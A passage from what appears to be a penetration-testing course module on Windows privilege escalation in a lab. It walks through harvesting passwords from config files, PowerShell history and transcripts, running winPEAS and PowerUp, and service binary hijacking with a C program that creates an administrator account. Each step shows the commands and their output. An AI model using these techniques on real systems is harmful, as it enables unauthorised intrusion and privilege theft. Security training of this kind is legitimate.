# Example MySQL config file for small systems.
...

# The following options will be passed to all MySQL clients
# backupadmin Windows password for backup job
[client]
password       = admin123admin123!
port=3306
socket="C:/xampp/mysql/mysql.sock"

Listing 23 - Contents of the my.ini file

Listing 23 shows that we could access my.ini and display its contents. The file contains the manually set password admin123admin123!. Additionally, a comment states that this is also the Windows password for backupadmin.

Let's review the groups that backupadmin is a member of to find out if we can use services such as RDP or WinRM to connect to the system as this user.

PS C:\Users\steve> net user backupadmin
User name                    BackupAdmin
...

Local Group Memberships      *Administrators       *BackupUsers
                             *Users
Global Group memberships     *None
The command completed successfully.

Listing 24 - Local groups backupadmin is a member of

Unfortunately, backupadmin is not a member of the groups Remote Desktop Users or Remote Management Users. This means we need to find another way to access the system or execute commands as backupadmin.

Since we have access to a GUI we can use Runas,5 which allows us to run a program as a different user. Runas can be used with local or domain accounts as long as the user has the ability to log on to the system.

Without access to a GUI we cannot use Runas since the password prompt doesn't accept our input in commonly used shells, such as our bind shell or WinRM.

However, we can use a few other methods to access the system as another user when certain requirements are met. We can use WinRM or RDP to access the system if the user is a member of the corresponding groups. Alternatively, if the target user has the Log on as a batch job6 access right, we can schedule a task to execute a program of our choice as this user. Furthermore, if the target user has an active session, we can use PsExec from Sysinternals.

Since we have access to a GUI, let's use Runas in PowerShell to start cmd as user backupadmin. We'll enter the username as argument for /user: and the command we want to execute. Once we execute the command, a password prompt appears in which we'll enter the previously found password.

PS C:\Users\steve> runas /user:backupadmin cmd
Enter the password for backupadmin:
Attempting to start cmd as user "CLIENTWK220\backupadmin" ...

PS C:\Users\steve> 

Listing 25 - Using Runas to execute cmd as user backupadmin

Once the password is entered, a new command line window appears. The title of the new window states running as CLIENTWK220\backupadmin.

Let's use whoami to confirm the command line is working and we are indeed backupadmin.

Figure 3: Cmd running in the context of backupadmin
Figure 3: Cmd running in the context of backupadmin

Figure 3 shows that we are executing commands as user backupadmin. Very nice!

In this section, we searched for and leveraged sensitive information on CLIENTWK220 to successfully obtain access from dave to steve and then from steve to the privileged user backupadmin. We did all of this without using any exploits. As we learned in the Module "Password Attacks", when we find passwords in configuration or text files, we should always try them for all possible users or services as passwords are often reused.

Resources

Some of the labs require you to start the target machine(s) below.

Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.

Windows Privilege Escalation - Hidden in Plain View - VM #1
Windows Privilege Escalation - Hidden in Plain View - VM #2

Labs

  1. Connect to the bind shell (port 4444) on CLIENTWK220 (VM #1) and follow the steps from this section. Find the flag on the desktop of backupadmin.
  1. Log into the system CLIENTWK220 (VM #1) via RDP as user steve. Search the file system to find login credentials for a web page for the user steve and enter the password as answer to this exercise.
  1. Connect to CLIENTWK221 (VM #2) via RDP as user mac with the password IAmTheGOATSysAdmin! and locate sensitive information on the system to elevate your privileges. Once found, use the credentials to access the system as this user and find the flag on the Desktop.

16.1.4. Information Goldmine PowerShell

In the previous section, we discussed how we can use sensitive information found in plain-text files to elevate our privileges. Over the last decade, IT security awareness for the average enterprise user has tremendously improved through training, IT policies, and the prevalent threat of cyber attacks painted by media. Fortunately, this has led to less sensitive information being stored in notes or text files.

Because of the growing threat of cyber attacks, more defensive measures were developed and implemented for clients and servers alike. One of these measures is to collect and record more data on systems about executed commands and operations, which allows the IT staff to review and respond accordingly to threats. One important source of this information is PowerShell, since it is a vital resource for attackers.

With default settings, Windows only logs a small amount of information on PowerShell usage, which is not sufficient for enterprise environments. Therefore, we'll often find PowerShell logging mechanisms enabled on Windows clients and servers. Two important logging mechanisms for PowerShell are PowerShell Transcription1 and PowerShell Script Block Logging.2

Transcription is often referred to as "over-the-shoulder-transcription", because, when enabled, the logged information is equal to what a person would obtain from looking over the shoulder of a user entering commands in PowerShell. The information is stored in transcript files, which are often saved in the home directories of users, a central directory for all users of a machine, or a network share collecting the files from all configured machines.

Script Block Logging records commands and blocks of script code as events while executing. This results in a much broader logging of information because it records the full content of code and commands as they are executed. This means such an event also contains the original representation of encoded code or commands.

Both mechanisms are quite powerful and have become increasingly common in enterprise environments. However, while they are great from the defensive perspective, they often contain valuable information for attackers.

In this example, we'll demonstrate how we can retrieve information recorded by PowerShell with the help of enabled logging mechanisms and the PowerShell history. We'll again connect on port 4444 to the bind shell running as the user dave and launch PowerShell.

For the purpose of this demonstration, we'll assume that the files containing sensitive information from the previous section don't exist.

Before we check if Script Block Logging or PowerShell Transcription is enabled, we should always check the PowerShell history of a user. We can use the Get-History3 Cmdlet to obtain a list of commands executed in the past.

PS C:\Users\dave> Get-History
Get-History

Listing 26 - Empty result from Get-History

The output indicates that no PowerShell commands were issued so far.

At this point, we have to explore how PowerShell's history works. Most Administrators use the Clear-History4 command to clear the PowerShell history. But this Cmdlet is only clearing PowerShell's own history, which can be retrieved with Get-History. Starting with PowerShell v5, v5.1, and v7, a module named PSReadline5 is included, which is used for line-editing and command history functionality.

Interestingly, Clear-History does not clear the command history recorded by PSReadline. Therefore, we can check if the user in our example misunderstood the Clear-History Cmdlet to clear all traces of previous commands.

To retrieve the history from PSReadline, we can use Get-PSReadlineOption to obtain information from the PSReadline module. We put it in parentheses and add HistorySavePath prepended with a dot. This syntax allows us to get only one option from all available options of the module.

PS C:\Users\dave> (Get-PSReadlineOption).HistorySavePath
(Get-PSReadlineOption).HistorySavePath
C:\Users\dave\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Listing 27 - Display path of the history file from PSReadline

Listing 27 shows us the path of the history file from PSReadline. Let's display the contents of the file.

PS C:\Users\dave> type C:\Users\dave\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
...
$PSVersionTable
Register-SecretVault -Name pwmanager -ModuleName SecretManagement.keepass -VaultParameters $VaultParams
Set-Secret -Name "Server02 Admin PW" -Secret "paperEarMonitor33@" -Vault pwmanager
cd C:\
ls
cd C:\xampp
ls
type passwords.txt
Clear-History
Start-Transcript -Path "C:\Users\Public\Transcripts\transcript01.txt"
Enter-PSSession -ComputerName CLIENTWK220 -Credential $cred
exit
Stop-Transcript

Listing 28 - Empty result from Get-History

The output contains various highly interesting commands for us.

First, dave executed Register-SecretVault with the module SecretManagement.keepass, which implies that the user created a new password manager database for KeePass. In the next line, dave used Set-Secret to create a secret, or entry, in the password manager with the name Server02 Admin PW and password paperEarMonitor33@. As the name suggests, these are probably credentials for another system. However, we should attempt to leverage this password for any user, service, or login on CLIENTWK220 as it may be reused by the user. For now, we'll note the password for later and continue analyzing the history.

Next, the output shows that dave used Clear-History believing that the history is cleared after executing the Cmdlet.

Finally, dave used Start-Transcript to start a PowerShell Transcription. This command contains the path where the transcript file is stored. Before we examine it, let's also analyze the next line.

The user executed Enter-PSSession6 with the hostname of the local machine as argument for -ComputerName and a PSCredential7 object named $cred containing the username and password for -Credential. The commands to create the PSCredential object are not included in the history file and therefore we don't know which user and password were used for Enter-PSSession.

PowerShell Remoting8 by default uses WinRM for Cmdlets such as Enter-PSSession. Therefore, a user needs to be in the local group Windows Management Users to be a valid user for these Cmdlets. However, instead of WinRM, SSH9 can also be used for PowerShell remoting.10

Let's analyze the transcript file in C:\Users\Public\Transcripts\transcript01.txt and check if we can shed more light on the user and password in use. Since the PowerShell Transcription started before Enter-PSSession was entered, it may contain the plain-text credential information used to create the PSCredential object stored in the variable $cred.

PS C:\Users\dave> type C:\Users\Public\Transcripts\transcript01.txt
type C:\Users\Public\Transcripts\transcript01.txt
**********************
Windows PowerShell transcript start
Start time: 20220623081143
Username: CLIENTWK220\dave
RunAs User: CLIENTWK220\dave
Configuration Name: 
Machine: CLIENTWK220 (Microsoft Windows NT 10.0.22000.0)
Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Process ID: 10336
PSVersion: 5.1.22000.282
...
**********************
Transcript started, output file is C:\Users\Public\Transcripts\transcript01.txt
PS C:\Users\dave> $password = ConvertTo-SecureString "qwertqwertqwert123!!" -AsPlainText -Force
PS C:\Users\dave> $cred = New-Object System.Management.Automation.PSCredential("daveadmin", $password)
PS C:\Users\dave> Enter-PSSession -ComputerName CLIENTWK220 -Credential $cred
PS C:\Users\dave> Stop-Transcript
**********************
Windows PowerShell transcript end
End time: 20220623081221
**********************

Listing 29 - Contents of the transcript file

Listing 29 shows that the transcript file indeed contains the commands used to create the variable $cred, which were missing in the history file.

To create the previously discussed PSCredential object, a user first needs to create a SecureString11 to store the password. Then, the user can create the PSCredential object with the username and the stored password. The resulting variable, containing the object, can be used as argument for -Credential in commands such as Enter-PSSession.

Let's copy the three highlighted commands and paste it into our bind shell.

PS C:\Users\dave> $password = ConvertTo-SecureString "qwertqwertqwert123!!" -AsPlainText -Force
$password = ConvertTo-SecureString "qwertqwertqwert123!!" -AsPlainText -Force

PS C:\Users\dave> $cred = New-Object System.Management.Automation.PSCredential("daveadmin", $password)
$cred = New-Object System.Management.Automation.PSCredential("daveadmin", $password)

PS C:\Users\dave> Enter-PSSession -ComputerName CLIENTWK220 -Credential $cred
Enter-PSSession -ComputerName CLIENTWK220 -Credential $cred

[CLIENTWK220]: PS C:\Users\daveadmin\Documents> whoami
whoami
clientwk220\daveadmin

Listing 30 - Using the commands from the transcript file to obtain a PowerShell session as daveadmin

The output shows that we could use these three commands to start a PowerShell remoting session via WinRM on CLIENTWK220 as the user daveadmin. While whoami works, other commands do not.

[CLIENTWK220]: PS C:\Users\daveadmin\Documents> cd C:\
cd C:\

[CLIENTWK220]: PS C:\Users\daveadmin\Documents> pwd
pwd

[CLIENTWK220]: PS C:\Users\daveadmin\Documents> dir
dir

Listing 31 - No output from commands in the PSSession

Listing 31 shows that we received no output from the commands we entered. We should note that creating a PowerShell remoting session via WinRM in a bind shell like we used in this example can cause unexpected behavior.

To avoid any issues, let's use evil-winrm12 to connect to CLIENTWK220 via WinRM from our Kali machine instead. This tool provides various built-in functions for penetration testing such as pass the hash, in-memory loading, and file upload/download. However, we'll only use it to connect to the target system via WinRM to avoid the issues we faced by creating a PowerShell remoting session in our bind shell as shown in Listing 31.

We enter the IP as argument for -i, the username for -u, and the password for -p. We need to escape both "!"s in the password.

kali@kali:~$ evil-winrm -i 192.168.50.220 -u daveadmin -p "qwertqwertqwert123\!\!"

Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\daveadmin\Documents> whoami
clientwk220\daveadmin
*Evil-WinRM* PS C:\Users\daveadmin\Documents> cd C:\
*Evil-WinRM* PS C:\> dir


    Directory: C:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         8/27/2024   3:22 AM                FileZilla
d-----          5/6/2022  10:24 PM                PerfLogs
d-r---         8/27/2024   3:20 AM                Program Files
d-r---          5/7/2022  12:40 AM                Program Files (x86)
d-----          7/4/2022   1:00 AM                tools
d-r---         8/21/2024   6:43 AM                Users
d-----         8/21/2024   6:47 AM                Windows
d-----         6/16/2022   1:17 PM                xampp

Listing 32 - Using evil-winrm to connect to CLIENTWK220 as daveadmin

As Listing 32 shows, we can now execute commands without any issues. Great!

PowerShell artifacts such as the history file of PSReadline or transcript files are often a treasure trove of valuable information. We should never skip reviewing them, because most Administrators clear their history with Clear-History and therefore, the PSReadline history stays untouched for us to analyze.

Administrators can prevent PSReadline from recording commands by setting the -HistorySaveStyle option to SaveNothing with the Set-PSReadlineOption13 Cmdlet. Alternatively, they can clear the history file manually.

In this section, we explored PowerShell Transcriptions as powerful mechanisms to record commands and scripts in PowerShell. In addition, we discussed how and where PowerShell saves its history. We used this knowledge in an example to obtain a password for another system as well as the password for the administrative user daveadmin.

Resources

Some of the labs require you to start the target machine(s) below.

Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.

Windows Privilege Escalation - Information Goldmine PowerShell - VM #1
Windows Privilege Escalation - Information Goldmine PowerShell - VM #2

Labs

  1. Follow the steps above and obtain an interactive shell as daveadmin on CLIENTWK220 (VM #1). Enter the flag, which can be found on the desktop.
  1. Connect to CLIENTWK220 (VM #1) as daveadmin via RDP. Use the Event Viewer to search for events recorded by Script Block Logging. Find the password in these events.
  1. Connect to CLIENTWK221 (VM #2) via RDP as user mac with the password IAmTheGOATSysAdmin!. Enumerate the machine and use the methods from this section to find the flag.

16.1.5. Automated Enumeration

In the previous three sections, we manually enumerated CLIENTWK220. We gathered information, which led us to two different ways to elevate our privileges. However, this took us quite some time to do. In a real-life penetration test for a client, we often have time constraints, limiting the time we can take to enumerate systems in a manual way.

Therefore, we should use automated tools that enumerate the target machine and provide us results about situational awareness as well as potential sensitive information in an easy to consume fashion. One such tool is winPEAS.1

Automated tools can be blocked by AV solutions. If this is the case, we can apply techniques learned in the Module "Antivirus Evasion", try other tools such as Seatbelt2 and JAWS,3 or do the enumeration manually.

Once we have installed the package peass4 on our Kali system, we can copy the 64-bit binary of winPEAS to our home directory and start a Python3 web server to serve it.

kali@kali:~$ cp /usr/share/peass/winpeas/winPEASx64.exe .

kali@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Listing 33 - Copy WinPEAS to our home directory and start Python3 web server

Let's connect to the bind shell running on port 4444 at CLIENTWK220 as user dave as we did before. We start PowerShell and use the iwr5 Cmdlet with the URL of the winPEAS binary as argument for -Uri and winPeas.exe for -Outfile.

kali@kali:~$ nc 192.168.50.220 4444
Microsoft Windows [Version 10.0.22000.318]
(c) Microsoft Corporation. All rights reserved.

C:\Users\dave> powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\dave> iwr -uri http://192.168.48.3/winPEASx64.exe -Outfile winPEAS.exe
iwr -uri http://192.168.48.3/winPEASx64.exe -Outfile winPEAS.exe

Listing 34 - Connect to the bind shell and transfer the WinPEAS binary to CLIENTWK220

Now, let's run the winPEAS program. It'll take a few minutes for the program to finish. While it is running, let's review the output legend of winPEAS. It categorizes results in different colors indicating items worth a deeper inspection (red) and important information about protections (green).

C:\Users\dave> .\winPEAS.exe
...
+] Legend:
         Red                Indicates a special privilege over an object or something is misconfigured
         Green              Indicates that some protection is enabled or something is well configured
         Cyan               Indicates active users
         Blue               Indicates disabled users
         LightYellow        Indicates links

Listing 35 - Output legend of winPEAS

After the program is finished, let's review some of its findings. We begin with the basic system information.

...
����������͹ Basic System Information
� Check if the Windows versions is vulnerable to some known exploit https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#kernel-exploits
    OS Name: Microsoft Windows 11 Pro
    OS Version: 10.0.22621 N/A Build 22621
    System Type: x64-based PC
    Hostname: clientwk220
    ProductName: Windows 10 Pro
    EditionID: Professional
    ReleaseId: 2009
    BuildBranch: ni_release
    CurrentMajorVersionNumber: 10
    CurrentVersion: 6.3
    Architecture: AMD64
    ProcessorCount: 2
    SystemLang: en-US
    KeyboardLang: English (United States)
    TimeZone: (UTC-08:00) Pacific Time (US & Canada)
    IsVirtualMachine: True
    Current Time: 9/2/2024 11:03:33 PM
    HighIntegrity: False
    PartOfDomain: False
    Hotfixes: 
...

Listing 36 - Basic System Information of winPEAS

Listing 36 shows that winPEAS detected the target machine as Windows 10 Pro instead of Windows 11 as we established before. This shows that we should never blindly trust the output of a tool.

Next, winPEAS provides information about security protections as well as PowerShell and NTLM settings. One of these information sections is about transcript files.

...    
����������͹ PS default transcripts history
� Read the PS history inside these files (if any)
...

Listing 37 - List of transcript files

The list of transcript files is empty, but we know that one exists in C:\Users\Public\. This is another example of information we would have missed by relying on tool output alone without incorporating manual work.

Next, let's scroll down to the Users output section of winPEAS.

����������͹ Users
...    
Current user: dave
Current groups: Domain Users, Everyone, helpdesk, Builtin\Remote Desktop Users, Users, Batch, Console Logon, Authenticated Users, This Organization, Local account, Local, NTLM Authentication

   CLIENTWK220\Administrator(Disabled): Built-in account for administering the computer/domain
        |->Groups: Administrators
        |->Password: CanChange-NotExpi-Req

    CLIENTWK220\BackupAdmin
        |->Groups: BackupUsers,Administrators,Users
        |->Password: CanChange-NotExpi-Req

    CLIENTWK220\dave: dave
        |->Groups: helpdesk,Remote Desktop Users,Users
        |->Password: CanChange-NotExpi-Req

    CLIENTWK220\daveadmin
        |->Groups: adminteam,Administrators,Remote Management Users,Users
        |->Password: CanChange-NotExpi-Req
...

    CLIENTWK220\steve
        |->Groups: helpdesk,Remote Desktop Users,Remote Management Users,Users
        |->Password: CanChange-NotExpi-Req
...

Listing 38 - User information

The output lists all users and their groups in an easy to read manner. This way of displaying the information makes it very easy for us to understand which users exist and are members of certain groups, such as Remote Desktop Users.

Scrolling down, we'll find information about processes, services, scheduled tasks, network information, and installed applications.

The next area we analyze is Looking for possible password files in users homes.

...    
����������͹ Looking for possible password files in users homes
�  https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files
    C:\Users\All Users\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml
    C:\Users\dave\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView\ZxcvbnData\3.0.0.0\passwords.txt
    C:\Users\dave\AppData\Local\Packages\MicrosoftTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView\ZxcvbnData\3.0.0.0\passwords.txt
...

Listing 39 - Possible password files in home directory of dave

The list of files does not contain asdf.txt on the Desktop of dave. Again, we would have missed this finding without any additional manual work or by using another tool.

Running winPEAS on CLIENTWK220 provided us with lots of information and gave us some great situational awareness about the system. On the other hand, the tool incorrectly identified the target as Windows 10 and missed the meeting note, PowerShell history, and transcript file, which we used to elevate our privileges in the previous sections. However, because of the missing findings we should not abstain from using automated tools, but merely understand their limits.

Automated tools such as winPEAS are essential in real-life penetration tests. Outside of lab environments, the targets often contain numerous files, configuration settings, and information to go through. While we have only a few files in lab environments, we'll potentially get a list of hundreds or thousands of files to search through a single system in an assessment. With a pending deadline for the penetration test, we would spend all of our time going through files without employing automated tools.

In this section, we familiarized ourselves with winPEAS and how to use it. We collected information on the target system and compared it with our manual enumeration results. While there were some missing findings by winPEAS, the sheer amount of information resulting from its execution demonstrates how much time we can save in order to avoid manually obtaining all this information.

Resources

Some of the labs require you to start the target machine(s) below.

Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.

Windows Privilege Escalation - Automated Enumeration - VM #1

Labs

  1. Follow the steps from this section and examine the output headlined Checking for DPAPI Credential Files. Enter one of the MasterKeys as answer.
  1. Download a precompiled version of Seatbelt or compile it yourself. To find a precompiled version of Seatbelt, you can enter the search term compiled seatbelt github download in a search engine. Transfer the binary to VM #1 and launch it with the option -group=all. Find a section named InstalledProducts and locate the entry for XAMPP. Enter the value of DisplayVersion as answer to this exercise.

16.2. Leveraging Windows Services

This Learning Unit covers the following Learning Objectives:

  • Hijack service binaries
  • Hijack service DLLs
  • Abuse Unquoted service paths

A Windows Service1 is a long-running background executable or application managed by the Service Control Manager2 and is similar to the concept of daemons3 on Unix systems. Windows services can be managed by the Services snap-in, PowerShell, or the sc.exe command line tool. Windows uses the LocalSystem (includes the SIDs of NT AUTHORITY\SYSTEM and BUILTIN\Administrators in its token), Network Service, and Local Service user accounts to run its own services. Users or programs creating a service can choose either one of those accounts, a domain user, or a local user.

Windows services are one of the main areas to analyze when searching for privilege escalation vectors. In this Learning Unit, we'll review three different ways to elevate our privileges by abusing services.

16.2.1. Service Binary Hijacking

Each Windows service has an associated binary file. These binary files are executed when the service is started or transitioned into a running state.

For this section, let's consider a scenario in which a software developer creates a program and installs an application as a Windows service. During the installation, the developer does not secure the permissions of the program, allowing full Read and Write access to all members of the Users group. As a result, a lower-privileged user could replace the program with a malicious one. To execute the replaced binary, the user can restart the service or, in case the service is configured to start automatically, reboot the machine. Once the service is restarted, the malicious binary will be executed with the privileges of the service, such as LocalSystem.

We begin by connecting to CLIENTWK220 as dave over RDP with the password lab. For the purpose of this example, let's assume the vectors to elevate our privileges from the previous Learning Unit are out of scope.

To get a list of all installed Windows services, we can choose various methods such as the GUI snap-in services.msc, the Get-Service Cmdlet, or the Get-CimInstance Cmdlet (superseding Get-WmiObject).

Once connected, we start PowerShell and choose Get-CimInstance to query the WMI class win32_service.1 We are interested in the name, state, and path of the binaries for each service and therefore, use Select with the arguments Name, State, and PathName. In addition, we filter out any services that are not in a Running state by using Where-Object.2

When using a network logon such as WinRM or a bind shell, Get-CimInstance and Get-Service will result in a "permission denied" error when querying for services with a non-administrative user. Using an interactive logon such as RDP solves this problem.

PS C:\Users\dave> Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

Name                      State   PathName
----                      -----   --------
Apache2.4                 Running "C:\xampp\apache\bin\httpd.exe" -k runservice
Appinfo                   Running C:\Windows\system32\svchost.exe -k netsvcs -p
AppXSvc                   Running C:\Windows\system32\svchost.exe -k wsappx -p
AudioEndpointBuilder      Running C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p
Audiosrv                  Running C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
BFE                       Running C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
BITS                      Running C:\Windows\System32\svchost.exe -k netsvcs -p
BrokerInfrastructure      Running C:\Windows\system32\svchost.exe -k DcomLaunch -p
...
mysql                     Running C:\xampp\mysql\bin\mysqld.exe --defaults-file=c:\xampp\mysql\bin\my.ini mysql
...

Listing 40 - List of services with binary path

Based on the output in Listing 40, the two XAMPP services Apache2.4 and mysql stand out as the binaries are located in the C:\xampp\ directory instead of C:\Windows\System32. This means the service is user-installed and the software developer is in charge of the directory structure as well as permissions of the software. These circumstances make it potentially prone to service binary hijacking.

Next, let's enumerate the permissions on both service binaries. We can choose between the traditional icacls Windows utility or the PowerShell Cmdlet Get-ACL.3 For this example, we'll use icacls since it usable both in PowerShell and the Windows command line.

The icacls utility outputs the corresponding principals and their permission mask.4 The most relevant permissions and their masks are listed below:

Mask Permissions
F Full access
M Modify access
RX Read and execute access
R Read-only access
W Write-only access

Listing 41 - icacls permissions mask

Let's use icacls on the Apache binary httpd.exe first.

PS C:\Users\dave> icacls "C:\xampp\apache\bin\httpd.exe"
C:\xampp\apache\bin\httpd.exe BUILTIN\Administrators:(F)
                              NT AUTHORITY\SYSTEM:(F)
                              BUILTIN\Users:(RX)
                              NT AUTHORITY\Authenticated Users:(RX)

Successfully processed 1 files; Failed processing 0 files

Listing 42 - Permissions of httpd.exe

As member of the built-in Users group, dave only has Read and Execute (RX) rights on httpd.exe, meaning we cannot replace the file with a malicious binary.

Next, we'll check mysqld.exe from the mysql service.

PS C:\Users\dave> icacls "C:\xampp\mysql\bin\mysqld.exe"
C:\xampp\mysql\bin\mysqld.exe NT AUTHORITY\SYSTEM:(F)
                              BUILTIN\Administrators:(F)
                              BUILTIN\Users:(F)

Successfully processed 1 files; Failed processing 0 files

Listing 43 - Permissions of mysqld.exe

The output of Listing 43 shows that members of the Users group have the Full Access (F) permission, allowing us to write to and modify the binary and therefore, replace it. Due to the missing indicator (I) preceding this permission, we know that it was set on purpose and not inherited by the parent directory. Administrators often set Full Access permissions when they configure a service and are not entirely sure about the required permissions. Setting it to Full Access avoids most permission problems, but creates a security risk as we'll show in this example.

Let's create a small binary on Kali, which we'll use to replace the original mysqld.exe. The following C code will create a user named dave2 and add that user to the local Administrators group using the system5 function. The cross-compiled version of this code will serve as our malicious binary. Let's save it on Kali in a file named adduser.c.

#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user dave2 password123! /add");
  i = system ("net localgroup administrators dave2 /add");
  
  return 0;
}

Listing 44 - adduser.c code

Next, we'll cross-compile6 the code on our Kali machine with mingw-64 as we learned in the Module "Fixing Exploits". Since we know that the target machine is 64-bit, we'll cross-compile the C code to a 64-bit application with x86_64-w64-mingw32-gcc. In addition, we use adduser.exe as argument for -o to specify the name of the compiled executable.

kali@kali:~$ x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

Listing 45 - Cross-Compile the C Code to a 64-bit application

Once adduser.exe is cross-compiled, we can transfer it to our target and replace the original mysqld.exe binary with our malicious copy.

For this, we start a Python3 web server in the output directory of adduser.exe on our Kali machine and use iwr on the target machine in a PowerShell window to download our executable file. In addition, we move the original mysqld.exe to our home directory. This way, we can restore the service binary after a successful privilege escalation attempt.

PS C:\Users\dave> iwr -uri http://192.168.48.3/adduser.exe -Outfile adduser.exe  

PS C:\Users\dave> move C:\xampp\mysql\bin\mysqld.exe mysqld.exe

PS C:\Users\dave> move .\adduser.exe C:\xampp\mysql\bin\mysqld.exe

Listing 46 - Replacing mysqld.exe with our malicious binary

In order to execute the binary through the service, we need to restart it. We can use the net stop command to stop the service.

PS C:\Users\dave> net stop mysql
System error 5 has occurred.

Access is denied.

Listing 47 - Attempting to stop the service in order to restart it

Unfortunately, dave doesn't have sufficient permissions to stop the service. This is expected as most services are only managed by administrative users.

Since we do not have permission to manually restart the service, we must consider another approach. If the service Startup Type is set to "Automatic", we may be able to restart the service by rebooting the machine.

Let's check the Startup Type of the mysql service with the help of the Get-CimInstance Cmdlet by selecting Name and StartMode as well as filter for the string "mysql" with Where-Object.

PS C:\Users\dave> Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}

Name  StartMode
----  ---------
mysql Auto

Listing 48 - Obtain Startup Type for mysql service

Listing 48 shows that the service is set to Auto, meaning it will start automatically after a reboot. In order to issue a reboot, our user needs to have the privilege SeShutDownPrivilege7 assigned. We can use whoami with /priv to get a list of all privileges.

PS C:\Users\dave> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeSecurityPrivilege           Manage auditing and security log     Disabled
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

Listing 49 - Checking for reboot privileges

Listing 49 shows that our user has the privilege in question (among others) and therefore, we should be able to initiate a system shutdown or reboot. The Disabled state only indicates if the privilege is currently enabled for the running process. In our case, it means that whoami has not requested and is not currently using the SeShutdownPrivilege privilege.

If the SeShutdownPrivilege privilege was not present, we would have to wait for the victim to manually start the service, which would be much less convenient.

We can issue a reboot with shutdown and the arguments /r (reboot instead of shutdown) and /t 0 (in zero seconds).

We should always try to avoid issuing reboots on production systems in a real-life penetration test. A reboot could lead to unforeseeable problems and should only be issued in direct collaboration with the client's IT staff. If a system doesn't boot up after we reboot, this could disrupt our client's day-to-day business and even cause long-term downtime of the infrastructure. This is especially the case in a situation when there is no current backup available.

PS C:\Users\dave> shutdown /r /t 0 

Listing 50 - Rebooting the machine

Once the reboot is complete, we connect again as dave via RDP and open a PowerShell window. Because of the issued reboot and the Startup type auto, the service should have executed the executable file we placed to replace the original mysql service binary.

To confirm that our attack worked, let's list the members of the local Administrators group with Get-LocalGroupMember to check if dave2 was created and added to it.

PS C:\Users\dave> Get-LocalGroupMember administrators

ObjectClass Name                      PrincipalSource
----------- ----                      ---------------
User        CLIENTWK220\Administrator Local
User        CLIENTWK220\BackupAdmin   Local
User        CLIENTWK220\dave2         Local
User        CLIENTWK220\daveadmin     Local
User        CLIENTWK220\offsec        Local

Listing 51 - Display members of the local administrators group

Listing 51 shows that dave2 was created and added to the local Administrators group. Great!

As in the previous sections, we can use RunAs to obtain an interactive shell. In addition, we could also use msfvenom8 to create an executable file, starting a reverse shell.

To restore the original state of the service, we have to delete our binary mysqld.exe, restore the backed up original binary, and restart the system.

Before we conclude this section, let's review an automated tool named PowerUp.ps19 and check if it detects this privilege escalation vector. To do so, we copy the script to kali's home directory and start a Python3 web server to serve it.

kali@kali:~$ cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 .

kali@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ..

Listing 52 - Copy PowerUp.ps1 to kali's home directory and serve it with a Python3 web server

On the target machine, we download it as dave with iwr in PowerShell and start powershell with the ExecutionPolicy Bypass. Otherwise, it won't be possible to run scripts as they are blocked.

After we import PowerUp.ps1, we can use Get-ModifiableServiceFile. This function displays services the current user can modify, such as the service binary or configuration files.

PS C:\Users\dave> iwr -uri http://192.168.48.3/PowerUp.ps1 -Outfile PowerUp.ps1

PS C:\Users\dave> powershell -ep bypass
...
PS C:\Users\dave>  . .\PowerUp.ps1

PS C:\Users\dave> Get-ModifiableServiceFile

...

ServiceName                     : mysql
Path                            : C:\xampp\mysql\bin\mysqld.exe --defaults-file=c:\xampp\mysql\bin\my.ini mysql
ModifiableFile                  : C:\xampp\mysql\bin\mysqld.exe
ModifiableFilePermissions       : {WriteOwner, Delete, WriteAttributes, Synchronize...}
ModifiableFileIdentityReference : BUILTIN\Users
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'mysql'
CanRestart                      : False

Listing 53 - Import PowerUp.ps1 and execute Get-ModifiableServiceFile

The output of Get-ModifiableServiceFile shows us that PowerUp identified mysql (among others) to be vulnerable. In addition, it provides information about the file path, the principal (BUILTIN\Users group), and if we have permissions to restart the service (False).

PowerUp also provides us an AbuseFunction, which is a built-in function to replace the binary and, if we have sufficient permissions, restart it. The default behavior is to create a new local user called john with the password Password123! and add it to the local Administrators group. Because we don't have enough permissions to restart the service, we still need to reboot the machine.

However, if we use the AbuseFunction Install-ServiceBinary with the service name, we receive an error.

PS C:\Users\dave> Install-ServiceBinary -Name 'mysql'

